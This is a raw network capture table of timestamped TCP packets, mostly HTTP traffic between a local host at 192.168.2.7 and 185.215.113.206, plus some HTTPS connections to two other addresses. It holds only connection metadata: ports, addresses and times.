Nov 13, 2024 14:41:32.551908016 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.551912069 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.551929951 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.551934004 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.551944971 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.551954031 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.551963091 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.551964045 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.551984072 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.551990032 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.552001953 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.552004099 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.552017927 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.552021980 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.552033901 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.552036047 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.552052975 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.552062035 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.552068949 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.552082062 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.552093983 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.552115917 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.552119970 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.552133083 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.552139997 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.552160978 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.552165031 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.552181005 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.552191973 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.552192926 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.552213907 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.552213907 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.552231073 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.552248001 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.553175926 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.553219080 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.553270102 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.553282976 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.553294897 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.553306103 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.553318024 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.553327084 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.553349018 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.553356886 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.553364038 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.553370953 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.553384066 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.553391933 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.553397894 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.553406000 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.553412914 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.553421974 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.553427935 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.553437948 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.553453922 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.553459883 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.553469896 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.553473949 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.553488016 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.553491116 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.553502083 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.553507090 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.553514957 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.553524017 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.553538084 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.553554058 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.553602934 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.553615093 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.553627014 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.553639889 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.553651094 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.553653002 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.553666115 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.553682089 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.553685904 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.553697109 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.553700924 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.553714037 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.553719044 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.553725958 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.553742886 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.553765059 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.556143045 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556163073 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556175947 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556188107 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556206942 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.556248903 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556262016 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556273937 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556287050 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556328058 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556339025 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556350946 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556364059 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556374073 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.556374073 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.556374073 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.556374073 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.556381941 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556389093 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.556417942 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.556447983 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556468964 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556480885 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556493044 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556504965 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556504011 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.556519032 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.556519985 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556535006 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556543112 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.556546926 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556570053 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.556583881 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.556586981 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556618929 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556631088 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556649923 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.556674004 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.556701899 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556714058 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556752920 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556752920 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.556766033 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556778908 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556797981 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.556812048 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.556823015 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556835890 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556847095 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556854963 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.556864023 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556868076 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.556884050 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.556901932 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.556957006 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556968927 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556982040 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.556988001 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557002068 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557024002 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557065010 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557077885 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557096004 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557101011 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557111979 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557121038 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557133913 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557133913 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557147026 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557152987 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557159901 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557184935 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557184935 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557214022 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557216883 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557230949 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557243109 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557246923 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557257891 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557260036 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557271957 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557276011 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557297945 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557315111 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557368040 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557399035 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557440996 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557455063 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557467937 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557473898 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557488918 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557499886 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557506084 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557513952 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557531118 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557535887 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557547092 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557555914 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557568073 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557569981 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557581902 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557584047 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557599068 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557615042 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557627916 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557641983 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557653904 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557667017 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557674885 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557678938 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557699919 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557713985 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557744980 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557790041 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557794094 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557807922 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557823896 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557840109 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557879925 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557892084 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557904005 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557915926 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.557924032 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.557946920 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.558016062 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558027983 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558039904 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558051109 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558058023 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558059931 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.558080912 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558083057 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.558108091 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.558109045 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558123112 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558130980 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.558136940 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558150053 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558156013 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.558181047 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.558253050 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558270931 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558283091 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558295965 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558301926 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.558310032 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558316946 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.558324099 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558336020 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558341980 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.558351040 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558365107 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558368921 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.558382034 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.558393955 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558407068 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.558417082 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558419943 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.558435917 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558448076 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558454037 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.558461905 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558475971 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558479071 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.558502913 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.558530092 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.558796883 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558809042 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558828115 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.558840990 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558844090 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.558854103 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558866978 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558878899 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558886051 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.558892965 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558911085 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.558927059 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.558959961 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558971882 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558984995 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.558990955 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.558991909 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.559016943 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.559024096 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.559042931 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.559043884 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.559060097 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.559062958 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.559072971 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.559081078 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.559086084 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.559096098 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.559113026 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.563648939 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.563659906 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.563684940 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.563699007 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.563704967 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.563714981 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.563852072 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.563852072 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.563865900 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.587902069 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.587914944 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.587925911 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.587956905 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.587981939 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.588382006 CET	49892	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.588438034 CET	443	49892	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.588629961 CET	49892	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.588812113 CET	49893	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.588855982 CET	443	49893	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.593518019 CET	443	49882	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.593621016 CET	49893	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.600905895 CET	49894	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.600935936 CET	443	49894	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.601527929 CET	49894	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.602613926 CET	49895	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.602638006 CET	443	49895	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.603782892 CET	49896	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.603809118 CET	443	49896	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.603827000 CET	49895	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.603854895 CET	49896	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.606117964 CET	49892	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.606133938 CET	443	49892	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.606442928 CET	49882	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.606452942 CET	443	49882	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.606976986 CET	443	49882	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.608659029 CET	49893	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.608674049 CET	443	49893	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.608989000 CET	49882	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.608989000 CET	49894	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.609008074 CET	443	49882	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.609020948 CET	443	49894	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.609260082 CET	49882	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.611807108 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.612211943 CET	49895	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.612220049 CET	443	49895	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.612391949 CET	49896	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.612405062 CET	443	49896	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.616764069 CET	49882	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.616851091 CET	443	49882	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.617000103 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.617007971 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.617022038 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.617027998 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.617039919 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.617043018 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.617053986 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.617223024 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.617223978 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.619508028 CET	49882	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.619529963 CET	443	49882	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.619975090 CET	49882	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.632930994 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.632942915 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.632967949 CET	443	49880	4.153.29.52	192.168.2.7
